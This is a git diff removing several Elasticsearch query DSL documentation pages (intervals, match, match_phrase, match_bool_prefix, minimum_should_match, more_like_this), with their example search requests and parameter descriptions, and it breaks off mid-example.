-The `wildcard` rule matches terms using a wildcard pattern. This pattern can
-expand to match at most 128 terms. If the pattern matches more than 128 terms,
-{es} returns an error.
-
-`pattern`::
-(Required, string) Wildcard pattern used to find matching terms.
-+
---
-This parameter supports two wildcard operators:
-
-* `?`, which matches any single character
-* `*`, which can match zero or more characters, including an empty one
-
-WARNING: Avoid beginning patterns with `*` or `?`. This can increase
-the iterations needed to find matching terms and slow search performance.
---
-`analyzer`::
-(Optional, string) <<analysis, analyzer>> used to normalize the `pattern`.
-Defaults to the top-level `<field>`'s analyzer.
-
-`use_field`::
-+
---
-(Optional, string) If specified, match intervals from this field rather than the
-top-level `<field>`.
-
-The `pattern` is normalized using the search analyzer from this field, unless
-`analyzer` is specified separately.
---
-
-[[intervals-fuzzy]]
-==== `fuzzy` rule parameters
-
-The `fuzzy` rule matches terms that are similar to the provided term, within an
-edit distance defined by <<fuzziness>>.  If the fuzzy expansion matches more than
-128 terms, {es} returns an error.
-
-`term`::
-(Required, string) The term to match
-
-`prefix_length`::
-(Optional, string) Number of beginning characters left unchanged when creating
-expansions. Defaults to `0`.
-
-`transpositions`::
-(Optional, Boolean) Indicates whether edits include transpositions of two
-adjacent characters (ab → ba). Defaults to `true`.
-
-`fuzziness`::
-(Optional, string) Maximum edit distance allowed for matching. See <<fuzziness>>
-for valid values and more information.  Defaults to `auto`.
-
-`analyzer`::
-(Optional, string) <<analysis, analyzer>> used to normalize the `term`.
-Defaults to the top-level `<field>` 's analyzer.
-
-`use_field`::
-+
---
-(Optional, string) If specified, match intervals from this field rather than the
-top-level `<field>`.
-
-The `term` is normalized using the search analyzer from this field, unless
-`analyzer` is specified separately.
---
-
-[[intervals-all_of]]
-==== `all_of` rule parameters
-
-The `all_of` rule returns matches that span a combination of other rules.
-
-`intervals`::
-(Required, array of rule objects) An array of rules to combine. All rules must
-produce a match in a document for the overall source to match.
-
-`max_gaps`::
-+
---
-(Optional, integer) Maximum number of positions between the matching terms.
-Intervals produced by the rules further apart than this are not considered
-matches. Defaults to `-1`.
-
-If unspecified or set to `-1`, there is no width restriction on the match. If
-set to `0`, the terms must appear next to each other.
---
-
-`ordered`::
-(Optional, Boolean) If `true`, intervals produced by the rules should appear in
-the order in which they are specified. Defaults to `false`.
-
-`filter`::
-(Optional, <<interval_filter,interval filter>> rule object) Rule used to filter
-returned intervals.
-
-[[intervals-any_of]]
-==== `any_of` rule parameters
-
-The `any_of` rule returns intervals produced by any of its sub-rules.
-
-`intervals`::
-(Required, array of rule objects) An array of rules to match.
-
-`filter`::
-(Optional, <<interval_filter,interval filter>> rule object) Rule used to filter
-returned intervals.
-
-[[interval_filter]]
-==== `filter` rule parameters
-
-The `filter` rule returns intervals based on a query. See
-<<interval-filter-rule-ex>> for an example.
-
-`after`::
-(Optional, query object) Query used to return intervals that follow an interval
-from the `filter` rule.
-
-`before`::
-(Optional, query object) Query used to return intervals that occur before an
-interval from the `filter` rule.
-
-`contained_by`::
-(Optional, query object) Query used to return intervals contained by an interval
-from the `filter` rule.
-
-`containing`::
-(Optional, query object) Query used to return intervals that contain an interval
-from the `filter` rule.
-
-`not_contained_by`::
-(Optional, query object) Query used to return intervals that are *not*
-contained by an interval from the `filter` rule.
-
-`not_containing`::
-(Optional, query object) Query used to return intervals that do *not* contain
-an interval from the `filter` rule.
-
-`not_overlapping`::
-(Optional, query object) Query used to return intervals that do *not* overlap
-with an interval from the `filter` rule.
-
-`overlapping`::
-(Optional, query object) Query used to return intervals that overlap with an
-interval from the `filter` rule.
-
-`script`::
-(Optional, <<modules-scripting-using, script object>>) Script used to return
-matching documents. This script must return a boolean value, `true` or `false`.
-See <<interval-script-filter>> for an example.
-
-
-[[intervals-query-note]]
-==== Notes
-
-[[interval-filter-rule-ex]]
-===== Filter example
-
-The following search includes a `filter` rule. It returns documents that have
-the words `hot` and `porridge` within 10 positions of each other, without the
-word `salty` in between:
-
-[source,console]
---------------------------------------------------
-POST _search
-{
-  "query": {
-    "intervals" : {
-      "my_text" : {
-        "match" : {
-          "query" : "hot porridge",
-          "max_gaps" : 10,
-          "filter" : {
-            "not_containing" : {
-              "match" : {
-                "query" : "salty"
-              }
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[interval-script-filter]]
-===== Script filters
-
-You can use a script to filter intervals based on their start position, end
-position, and internal gap count. The following `filter` script uses the
-`interval` variable with the `start`, `end`, and `gaps` methods:
-
-[source,console]
---------------------------------------------------
-POST _search
-{
-  "query": {
-    "intervals" : {
-      "my_text" : {
-        "match" : {
-          "query" : "hot porridge",
-          "filter" : {
-            "script" : {
-              "source" : "interval.start > 10 && interval.end < 20 && interval.gaps == 0"
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-[[interval-minimization]]
-===== Minimization
-
-The intervals query always minimizes intervals, to ensure that queries can
-run in linear time. This can sometimes cause surprising results, particularly
-when using `max_gaps` restrictions or filters. For example, take the
-following query, searching for `salty` contained within the phrase `hot
-porridge`:
-
-[source,console]
---------------------------------------------------
-POST _search
-{
-  "query": {
-    "intervals" : {
-      "my_text" : {
-        "match" : {
-          "query" : "salty",
-          "filter" : {
-            "contained_by" : {
-              "match" : {
-                "query" : "hot porridge"
-              }
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-This query does *not* match a document containing the phrase `hot porridge is
-salty porridge`, because the intervals returned by the match query for `hot
-porridge` only cover the initial two terms in this document, and these do not
-overlap the intervals covering `salty`.
-
-Another restriction to be aware of is the case of `any_of` rules that contain
-sub-rules which overlap. In particular, if one of the rules is a strict
-prefix of the other, then the longer rule can never match, which can
-cause surprises when used in combination with `max_gaps`. Consider the
-following query, searching for `the` immediately followed by `big` or `big bad`,
-immediately followed by `wolf`:
-
-[source,console]
---------------------------------------------------
-POST _search
-{
-  "query": {
-    "intervals" : {
-      "my_text" : {
-        "all_of" : {
-          "intervals" : [
-            { "match" : { "query" : "the" } },
-            { "any_of" : {
-                "intervals" : [
-                    { "match" : { "query" : "big" } },
-                    { "match" : { "query" : "big bad" } }
-                ] } },
-            { "match" : { "query" : "wolf" } }
-          ],
-          "max_gaps" : 0,
-          "ordered" : true
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Counter-intuitively, this query does *not* match the document `the big bad
-wolf`, because the `any_of` rule in the middle only produces intervals
-for `big` - intervals for `big bad` being longer than those for `big`, while
-starting at the same position, and so being minimized away. In these cases,
-it's better to rewrite the query so that all of the options are explicitly
-laid out at the top level:
-
-[source,console]
---------------------------------------------------
-POST _search
-{
-  "query": {
-    "intervals" : {
-      "my_text" : {
-        "any_of" : {
-          "intervals" : [
-            { "match" : {
-                "query" : "the big bad wolf",
-                "ordered" : true,
-                "max_gaps" : 0 } },
-            { "match" : {
-                "query" : "the big wolf",
-                "ordered" : true,
-                "max_gaps" : 0 } }
-           ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/query-dsl/joining-queries.asciidoc b/docs/reference/query-dsl/joining-queries.asciidoc
deleted file mode 100644
index f10c2bda603..00000000000
--- a/docs/reference/query-dsl/joining-queries.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
-[[joining-queries]]
-== Joining queries
-
-Performing full SQL-style joins in a distributed system like Elasticsearch is
-prohibitively expensive.  Instead, Elasticsearch offers two forms of join
-which are designed to scale horizontally.
-
-<<query-dsl-nested-query,`nested` query>>::
-Documents may contain fields of type <<nested,`nested`>>. These
-fields are used to index arrays of objects, where each object can be queried
-(with the `nested` query) as an independent document.
-
-<<query-dsl-has-child-query,`has_child`>> and <<query-dsl-has-parent-query,`has_parent`>> queries::
-A <<parent-join,`join` field relationship>> can exist between
-documents within a single index. The `has_child` query returns parent
-documents whose child documents match the specified query, while the
-`has_parent` query returns child documents whose parent document matches the
-specified query.
-
-Also see the <<query-dsl-terms-lookup,terms-lookup mechanism>> in the `terms`
-query, which allows you to build a `terms` query from values contained in
-another document.
-
-[discrete]
-[[joining-queries-notes]]
-==== Notes
-
-[discrete]
-===== Allow expensive queries
-Joining queries will not be executed if <<query-dsl-allow-expensive-queries, `search.allow_expensive_queries`>>
-is set to false.
-
-include::nested-query.asciidoc[]
-
-include::has-child-query.asciidoc[]
-
-include::has-parent-query.asciidoc[]
-
-include::parent-id-query.asciidoc[]
-
-
diff --git a/docs/reference/query-dsl/match-all-query.asciidoc b/docs/reference/query-dsl/match-all-query.asciidoc
deleted file mode 100644
index 6c77e4b83fd..00000000000
--- a/docs/reference/query-dsl/match-all-query.asciidoc
+++ /dev/null
@@ -1,46 +0,0 @@
-[[query-dsl-match-all-query]]
-== Match all query
-++++
-<titleabbrev>Match all</titleabbrev>
-++++
-
-The most simple query, which matches all documents, giving them all a `_score`
-of `1.0`.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{ 
-    "query": {
-        "match_all": {}
-    }
-}
---------------------------------------------------
-
-The `_score` can be changed with the `boost` parameter:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match_all": { "boost" : 1.2 }
-  }
-}
---------------------------------------------------
-
-[[query-dsl-match-none-query]]
-[discrete]
-== Match None Query
-
-This is the inverse of the `match_all` query, which matches no documents.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match_none": {} 
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/query-dsl/match-bool-prefix-query.asciidoc b/docs/reference/query-dsl/match-bool-prefix-query.asciidoc
deleted file mode 100644
index 6d59e9a6df2..00000000000
--- a/docs/reference/query-dsl/match-bool-prefix-query.asciidoc
+++ /dev/null
@@ -1,85 +0,0 @@
-[[query-dsl-match-bool-prefix-query]]
-=== Match boolean prefix query
-++++
-<titleabbrev>Match boolean prefix</titleabbrev>
-++++
-
-A `match_bool_prefix` query analyzes its input and constructs a
-<<query-dsl-bool-query,`bool` query>> from the terms. Each term except the last
-is used in a `term` query. The last term is used in a `prefix` query. A
-`match_bool_prefix` query such as
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match_bool_prefix" : {
-      "message" : "quick brown f"
-    }
-  }
-}
---------------------------------------------------
-
-where analysis produces the terms `quick`, `brown`, and `f` is similar to the
-following `bool` query
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "bool" : {
-      "should": [
-        { "term": { "message": "quick" }},
-        { "term": { "message": "brown" }},
-        { "prefix": { "message": "f"}}
-      ]
-    }
-  }
-}
---------------------------------------------------
-
-An important difference between the `match_bool_prefix` query and
-<<query-dsl-match-query-phrase-prefix,`match_phrase_prefix`>> is that the
-`match_phrase_prefix` query matches its terms as a phrase, but the
-`match_bool_prefix` query can match its terms in any position. The example
-`match_bool_prefix` query above could match a field containing
-`quick brown fox`, but it could also match `brown fox quick`. It could also
-match a field containing the term `quick`, the term `brown` and a term
-starting with `f`, appearing in any position.
-
-==== Parameters
-
-By default, `match_bool_prefix` queries' input text will be analyzed using the
-analyzer from the queried field's mapping. A different search analyzer can be
-configured with the `analyzer` parameter
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match_bool_prefix": {
-      "message": {
-        "query": "quick brown f",
-        "analyzer": "keyword"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-`match_bool_prefix` queries support the
-<<query-dsl-minimum-should-match,`minimum_should_match`>> and `operator`
-parameters as described for the
-<<query-dsl-match-query-boolean,`match` query>>, applying the setting to the
-constructed `bool` query. The number of clauses in the constructed `bool`
-query will in most cases be the number of terms produced by analysis of the
-query text.
-
-The <<query-dsl-match-query-fuzziness,`fuzziness`>>, `prefix_length`,
-`max_expansions`, `fuzzy_transpositions`, and `fuzzy_rewrite` parameters can
-be applied to the `term` subqueries constructed for all terms but the final
-term. They do not have any effect on the prefix query constructed for the
-final term.
diff --git a/docs/reference/query-dsl/match-phrase-prefix-query.asciidoc b/docs/reference/query-dsl/match-phrase-prefix-query.asciidoc
deleted file mode 100644
index 04b757ba901..00000000000
--- a/docs/reference/query-dsl/match-phrase-prefix-query.asciidoc
+++ /dev/null
@@ -1,103 +0,0 @@
-[[query-dsl-match-query-phrase-prefix]]
-=== Match phrase prefix query
-++++
-<titleabbrev>Match phrase prefix</titleabbrev>
-++++
-
-Returns documents that contain the words of a provided text, in the **same
-order** as provided. The last term of the provided text is treated as a
-<<query-dsl-prefix-query,prefix>>, matching any words that begin with that term.
-
-
-[[match-phrase-prefix-query-ex-request]]
-==== Example request
-
-The following search returns documents that contain phrases beginning with
-`quick brown f` in the `message` field.
-
-This search would match a `message` value of `quick brown fox` or `two quick
-brown ferrets` but not `the fox is quick and brown`.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match_phrase_prefix": {
-      "message": {
-        "query": "quick brown f"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-[[match-phrase-prefix-top-level-params]]
-==== Top-level parameters for `match_phrase_prefix`
-`<field>`::
-(Required, object) Field you wish to search.
-
-[[match-phrase-prefix-field-params]]
-==== Parameters for `<field>`
-`query`::
-+
---
-(Required, string) Text you wish to find in the provided `<field>`. 
-
-The `match_phrase_prefix` query <<analysis,analyzes>> any provided text into
-tokens before performing a search. The last term of this text is treated as a
-<<query-dsl-prefix-query,prefix>>, matching any words that begin with that term.
---
-
-`analyzer`::
-(Optional, string) <<analysis,Analyzer>> used to convert text in the `query`
-value into tokens. Defaults to the <<specify-index-time-analyzer,index-time
-analyzer>> mapped for the `<field>`. If no analyzer is mapped, the index's
-default analyzer is used.
-
-`max_expansions`::
-(Optional, integer) Maximum number of terms to which the last provided term of
-the `query` value will expand. Defaults to `50`.
-
-`slop`::
-(Optional, integer) Maximum number of positions allowed between matching tokens.
-Defaults to `0`. Transposed terms have a slop of `2`.
-
-`zero_terms_query`::
-+
---
-(Optional, string) Indicates whether no documents are returned if the `analyzer`
-removes all tokens, such as when using a `stop` filter. Valid values are:
-
- `none` (Default)::
-No documents are returned if the `analyzer` removes all tokens.
-
- `all`::
-Returns all documents, similar to a <<query-dsl-match-all-query,`match_all`>>
-query.
---
-
-
-[[match-phrase-prefix-query-notes]]
-==== Notes
-
-[[match-phrase-prefix-autocomplete]]
-===== Using the match phrase prefix query for search autocompletion
-While easy to set up, using the `match_phrase_prefix` query for search
-autocompletion can sometimes produce confusing results.
-
-For example, consider the query string `quick brown f`. This query works by
-creating a phrase query out of `quick` and `brown` (i.e. the term `quick` must
-exist and must be followed by the term `brown`). Then it looks at the sorted
-term dictionary to find the first 50 terms that begin with `f`, and adds these
-terms to the phrase query.
-
-The problem is that the first 50 terms may not include the term `fox` so the
-phrase `quick brown fox` will not be found. This usually isn't a problem as
-the user will continue to type more letters until the word they are looking
-for appears.
-
-For better solutions for _search-as-you-type_ see the
-<<completion-suggester,completion suggester>> and
-the <<search-as-you-type,`search_as_you_type` field type>>.
\ No newline at end of file
diff --git a/docs/reference/query-dsl/match-phrase-query.asciidoc b/docs/reference/query-dsl/match-phrase-query.asciidoc
deleted file mode 100644
index f6b0fa19001..00000000000
--- a/docs/reference/query-dsl/match-phrase-query.asciidoc
+++ /dev/null
@@ -1,44 +0,0 @@
-[[query-dsl-match-query-phrase]]
-=== Match phrase query
-++++
-<titleabbrev>Match phrase</titleabbrev>
-++++
-
-The `match_phrase` query analyzes the text and creates a `phrase` query
-out of the analyzed text. For example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match_phrase": {
-      "message": "this is a test"
-    }
-  }
-}
---------------------------------------------------
-
-A phrase query matches terms up to a configurable `slop`
-(which defaults to 0) in any order. Transposed terms have a slop of 2.
-
-The `analyzer` can be set to control which analyzer will perform the
-analysis process on the text. It defaults to the field explicit mapping
-definition, or the default search analyzer, for example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match_phrase": {
-      "message": {
-        "query": "this is a test",
-        "analyzer": "my_analyzer"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-This query also accepts `zero_terms_query`, as explained in <<query-dsl-match-query, `match` query>>.
diff --git a/docs/reference/query-dsl/match-query.asciidoc b/docs/reference/query-dsl/match-query.asciidoc
deleted file mode 100644
index 93303ef1047..00000000000
--- a/docs/reference/query-dsl/match-query.asciidoc
+++ /dev/null
@@ -1,334 +0,0 @@
-[[query-dsl-match-query]]
-=== Match query
-++++
-<titleabbrev>Match</titleabbrev>
-++++
-
-Returns documents that match a provided text, number, date or boolean value. The
-provided text is analyzed before matching.
-
-The `match` query is the standard query for performing a full-text search,
-including options for fuzzy matching.
-
-
-[[match-query-ex-request]]
-==== Example request
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match": {
-      "message": {
-        "query": "this is a test"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-[[match-top-level-params]]
-==== Top-level parameters for `match`
-
-`<field>`::
-(Required, object) Field you wish to search.
-
-
-[[match-field-params]]
-==== Parameters for `<field>`
-`query`::
-+
---
-(Required) Text, number, boolean value or date you wish to find in the provided
-`<field>`.
-
-The `match` query <<analysis,analyzes>> any provided text before performing a
-search. This means the `match` query can search <<text,`text`>> fields for
-analyzed tokens rather than an exact term.
---
-
-`analyzer`::
-(Optional, string) <<analysis,Analyzer>> used to convert the text in the `query`
-value into tokens. Defaults to the <<specify-index-time-analyzer,index-time
-analyzer>> mapped for the `<field>`. If no analyzer is mapped, the index's
-default analyzer is used.
-
-`auto_generate_synonyms_phrase_query`::
-+
---
-(Optional, Boolean) If `true`, <<query-dsl-match-query-phrase,match phrase>>
-queries are automatically created for multi-term synonyms. Defaults to `true`.
-
-See <<query-dsl-match-query-synonyms,Use synonyms with match query>> for an
-example.
---
-
-`fuzziness`::
-(Optional, string) Maximum edit distance allowed for matching. See <<fuzziness>>
-for valid values and more information. See <<query-dsl-match-query-fuzziness>>
-for an example.
-
-`max_expansions`::
-(Optional, integer) Maximum number of terms to which the query will
-expand. Defaults to `50`.
-
-`prefix_length`::
-(Optional, integer) Number of beginning characters left unchanged for fuzzy
-matching. Defaults to `0`.
-
-`fuzzy_transpositions`::
-(Optional, Boolean) If `true`, edits for fuzzy matching include
-transpositions of two adjacent characters (ab → ba). Defaults to `true`.
-
-`fuzzy_rewrite`::
-+
---
-(Optional, string) Method used to rewrite the query. See the
-<<query-dsl-multi-term-rewrite, `rewrite` parameter>> for valid values and more
-information.
-
-If the `fuzziness` parameter is not `0`, the `match` query uses a `fuzzy_rewrite`
-method of `top_terms_blended_freqs_${max_expansions}` by default.
---
-
-`lenient`::
-(Optional, Boolean) If `true`, format-based errors, such as providing a text
-`query` value for a <<number,numeric>> field, are ignored. Defaults to `false`.
-
-`operator`::
-+
---
-(Optional, string) Boolean logic used to interpret text in the `query` value.
-Valid values are:
-
-`OR` (Default)::
-For example, a `query` value of `capital of Hungary` is interpreted as `capital
-OR of OR Hungary`.
-
-`AND`::
-For example, a `query` value of `capital of Hungary` is interpreted as `capital
-AND of AND Hungary`.
---
-
-`minimum_should_match`::
-+
---
-(Optional, string) Minimum number of clauses that must match for a document to
-be returned. See the <<query-dsl-minimum-should-match, `minimum_should_match`
-parameter>> for valid values and more information.
---
-
-`zero_terms_query`::
-+
---
-(Optional, string) Indicates whether no documents are returned if the `analyzer`
-removes all tokens, such as when using a `stop` filter. Valid values are:
-
-`none` (Default)::
-No documents are returned if the `analyzer` removes all tokens.
-
-`all`::
-Returns all documents, similar to a <<query-dsl-match-all-query,`match_all`>>
-query.
-
-See <<query-dsl-match-query-zero>> for an example.
---
-
-
-[[match-query-notes]]
-==== Notes
-
-[[query-dsl-match-query-short-ex]]
-===== Short request example
-
-You can simplify the match query syntax by combining the `<field>` and `query`
-parameters. For example:
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "match": {
-      "message": "this is a test"
-    }
-  }
-}
-----
-
-[[query-dsl-match-query-boolean]]
-===== How the match query works
-
-The `match` query is of type `boolean`. It means that the text
-provided is analyzed and the analysis process constructs a boolean query
-from the provided text. The `operator` parameter can be set to `or` or `and`
-to control the boolean clauses (defaults to `or`). The minimum number of
-optional `should` clauses to match can be set using the
-<<query-dsl-minimum-should-match,`minimum_should_match`>>
-parameter.
-
-Here is an example with the `operator` parameter:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match": {
-      "message": {
-        "query": "this is a test",
-        "operator": "and"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The `analyzer` can be set to control which analyzer will perform the
-analysis process on the text. It defaults to the field explicit mapping
-definition, or the default search analyzer.
-
-The `lenient` parameter can be set to `true` to ignore exceptions caused by
-data-type mismatches,  such as trying to query a numeric field with a text
-query string. Defaults to `false`.
-
-[[query-dsl-match-query-fuzziness]]
-===== Fuzziness in the match query
-
-`fuzziness` allows _fuzzy matching_ based on the type of field being queried.
-See <<fuzziness>> for allowed settings.
-
-The `prefix_length` and
-`max_expansions` can be set in this case to control the fuzzy process.
-If the fuzzy option is set the query will use `top_terms_blended_freqs_${max_expansions}`
-as its <<query-dsl-multi-term-rewrite,rewrite
-method>> the `fuzzy_rewrite` parameter allows to control how the query will get
-rewritten.
-
-Fuzzy transpositions (`ab` -> `ba`) are allowed by default but can be disabled
-by setting `fuzzy_transpositions` to `false`.
-
-NOTE: Fuzzy matching is not applied to terms with synonyms or in cases where the
-analysis process produces multiple tokens at the same position. Under the hood
-these terms are expanded to a special synonym query that blends term frequencies,
-which does not support fuzzy expansion.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match": {
-      "message": {
-        "query": "this is a testt",
-        "fuzziness": "AUTO"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[query-dsl-match-query-zero]]
-===== Zero terms query
-If the analyzer used removes all tokens in a query like a `stop` filter
-does, the default behavior is to match no documents at all. In order to
-change that the `zero_terms_query` option can be used, which accepts
-`none` (default) and `all` which corresponds to a `match_all` query.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match": {
-      "message": {
-        "query": "to be or not to be",
-        "operator": "and",
-        "zero_terms_query": "all"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[query-dsl-match-query-cutoff]]
-===== Cutoff frequency
-
-deprecated[7.3.0,"This option can be omitted as the <<query-dsl-match-query>> can skip blocks of documents efficiently, without any configuration, provided that the total number of hits is not tracked."]
-
-The match query supports a `cutoff_frequency` that allows
-specifying an absolute or relative document frequency where high
-frequency terms are moved into an optional subquery and are only scored
-if one of the low frequency (below the cutoff) terms in the case of an
-`or` operator or all of the low frequency terms in the case of an `and`
-operator match.
-
-This query allows handling `stopwords` dynamically at runtime, is domain
-independent and doesn't require a stopword file. It prevents scoring /
-iterating high frequency terms and only takes the terms into account if a
-more significant / lower frequency term matches a document. Yet, if all
-of the query terms are above the given `cutoff_frequency` the query is
-automatically transformed into a pure conjunction (`and`) query to
-ensure fast execution.
-
-The `cutoff_frequency` can either be relative to the total number of
-documents if in the range from 0 (inclusive) to 1 (exclusive) or absolute if greater or equal to
-`1.0`.
-
-Here is an example showing a query composed of stopwords exclusively:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match": {
-      "message": {
-        "query": "to be or not to be",
-        "cutoff_frequency": 0.001
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[warning:Deprecated field [cutoff_frequency] used, replaced by [you can omit this option, the [match] query can skip block of documents efficiently if the total number of hits is not tracked]]
-
-IMPORTANT: The `cutoff_frequency` option operates on a per-shard-level. This means
-that when trying it out on test indexes with low document numbers you
-should follow the advice in {defguide}/relevance-is-broken.html[Relevance is broken].
-
-[[query-dsl-match-query-synonyms]]
-===== Synonyms
-
-The `match` query supports multi-terms synonym expansion with the <<analysis-synonym-graph-tokenfilter,
-synonym_graph>> token filter. When this filter is used, the parser creates a phrase query for each multi-terms synonyms.
-For example, the following synonym: `"ny, new york"` would produce:
-
-`(ny OR ("new york"))`
-
-It is also possible to match multi terms synonyms with conjunctions instead:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-   "query": {
-       "match" : {
-           "message": {
-               "query" : "ny city",
-               "auto_generate_synonyms_phrase_query" : false
-           }
-       }
-   }
-}
---------------------------------------------------
-
-The example above creates a boolean query:
-
-`(ny OR (new AND york)) city`
-
-that matches documents with the term `ny` or the conjunction `new AND york`.
-By default the parameter `auto_generate_synonyms_phrase_query` is set to `true`.
-
diff --git a/docs/reference/query-dsl/minimum-should-match.asciidoc b/docs/reference/query-dsl/minimum-should-match.asciidoc
deleted file mode 100644
index fc0479265fc..00000000000
--- a/docs/reference/query-dsl/minimum-should-match.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
-[[query-dsl-minimum-should-match]]
-== `minimum_should_match` parameter
-
-The `minimum_should_match` parameter's possible values:
-
-[cols="<,<,<",options="header",]
-|=======================================================================
-|Type |Example |Description
-|Integer |`3` |Indicates a fixed value regardless of the number of
-optional clauses.
-
-|Negative integer |`-2` |Indicates that the total number of optional
-clauses, minus this number should be mandatory.
-
-|Percentage |`75%` |Indicates that this percent of the total number of
-optional clauses are necessary. The number computed from the percentage
-is rounded down and used as the minimum.
-
-|Negative percentage |`-25%` |Indicates that this percent of the total
-number of optional clauses can be missing. The number computed from the
-percentage is rounded down, before being subtracted from the total to
-determine the minimum.
-
-|Combination |`3<90%` |A positive integer, followed by the less-than
-symbol, followed by any of the previously mentioned specifiers is a
-conditional specification. It indicates that if the number of optional
-clauses is equal to (or less than) the integer, they are all required,
-but if it's greater than the integer, the specification applies. In this
-example: if there are 1 to 3 clauses they are all required, but for 4 or
-more clauses only 90% are required.
-
-|Multiple combinations |`2<-25% 9<-3` |Multiple conditional
-specifications can be separated by spaces, each one only being valid for
-numbers greater than the one before it. In this example: if there are 1
-or 2 clauses both are required, if there are 3-9 clauses all but 25% are
-required, and if there are more than 9 clauses, all but three are
-required.
-|=======================================================================
-
-*NOTE:*
-
-When dealing with percentages, negative values can be used to get
-different behavior in edge cases. 75% and -25% mean the same thing when
-dealing with 4 clauses, but when dealing with 5 clauses 75% means 3 are
-required, but -25% means 4 are required.
-
-If the calculations based on the specification determine that no
-optional clauses are needed, the usual rules about BooleanQueries still
-apply at search time (a BooleanQuery containing no required clauses must
-still match at least one optional clause)
-
-No matter what number the calculation arrives at, a value greater than
-the number of optional clauses, or a value less than 1 will never be
-used. (ie: no matter how low or how high the result of the calculation
-result is, the minimum number of required matches will never be lower
-than 1 or greater than the number of clauses.
diff --git a/docs/reference/query-dsl/mlt-query.asciidoc b/docs/reference/query-dsl/mlt-query.asciidoc
deleted file mode 100644
index f54a6d03b12..00000000000
--- a/docs/reference/query-dsl/mlt-query.asciidoc
+++ /dev/null
@@ -1,252 +0,0 @@
-[[query-dsl-mlt-query]]
-=== More like this query
-++++
-<titleabbrev>More like this</titleabbrev>
-++++
-
-The More Like This Query finds documents that are "like" a given
-set of documents. In order to do so, MLT selects a set of representative terms
-of these input documents, forms a query using these terms, executes the query
-and returns the results. The user controls the input documents, how the terms
-should be selected and how the query is formed.
-
-The simplest use case consists of asking for documents that are similar to a
-provided piece of text. Here, we are asking for all movies that have some text
-similar to "Once upon a time" in their "title" and in their "description"
-fields, limiting the number of selected terms to 12.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "more_like_this" : {
-      "fields" : ["title", "description"],
-      "like" : "Once upon a time",
-      "min_term_freq" : 1,
-      "max_query_terms" : 12
-    }
-  }
-}
---------------------------------------------------
-
-A more complicated use case consists of mixing texts with documents already
-existing in the index. In this case, the syntax to specify a document is
-similar to the one used in the <<docs-multi-get,Multi GET API>>.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "more_like_this": {
-      "fields": [ "title", "description" ],
-      "like": [
-        {
-          "_index": "imdb",
-          "_id": "1"
-        },
-        {
-          "_index": "imdb",
-          "_id": "2"
-        },
-        "and potentially some more text here as well"
-      ],
-      "min_term_freq": 1,
-      "max_query_terms": 12
-    }
-  }
-}
---------------------------------------------------
-
-Finally, users can mix some texts, a chosen set of documents but also provide
-documents not necessarily present in the index. To provide documents not
-present in the index, the syntax is similar to <<docs-termvectors-artificial-doc,artificial documents>>.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "more_like_this": {
-      "fields": [ "name.first", "name.last" ],
-      "like": [
-        {
-          "_index": "marvel",
-          "doc": {
-            "name": {
-              "first": "Ben",
-              "last": "Grimm"
-            },
-            "_doc": "You got no idea what I'd... what I'd give to be invisible."
-          }
-        },
-        {
-          "_index": "marvel",
-          "_id": "2"
-        }
-      ],
-      "min_term_freq": 1,
-      "max_query_terms": 12
-    }
-  }
-}
---------------------------------------------------
-
-==== How it Works
-
-Suppose we wanted to find all documents similar to a given input document.
-Obviously, the input document itself should be its best match for that type of
-query. And the reason would be mostly, according to
-link:https://lucene.apache.org/core/4_9_0/core/org/apache/lucene/search/similarities/TFIDFSimilarity.html[Lucene scoring formula],
-due to the terms with the highest tf-idf. Therefore, the terms of the input
-document that have the highest tf-idf are good representatives of that
-document, and could be used within a disjunctive query (or `OR`) to retrieve similar
-documents. The MLT query simply extracts the text from the input document,
-analyzes it, usually using the same analyzer at the field, then selects the
-top K terms with highest tf-idf to form a disjunctive query of these terms.
-
-IMPORTANT: The fields on which to perform MLT must be indexed and of type
-`text` or `keyword``. Additionally, when using `like` with documents, either
-`_source` must be enabled or the fields must be `stored` or store
-`term_vector`. In order to speed up analysis, it could help to store term
-vectors at index time.
-
-For example, if we wish to perform MLT on the "title" and "tags.raw" fields,
-we can explicitly store their `term_vector` at index time. We can still
-perform MLT on the "description" and "tags" fields, as `_source` is enabled by
-default, but there will be no speed up on analysis for these fields.
-
-[source,console]
---------------------------------------------------
-PUT /imdb
-{
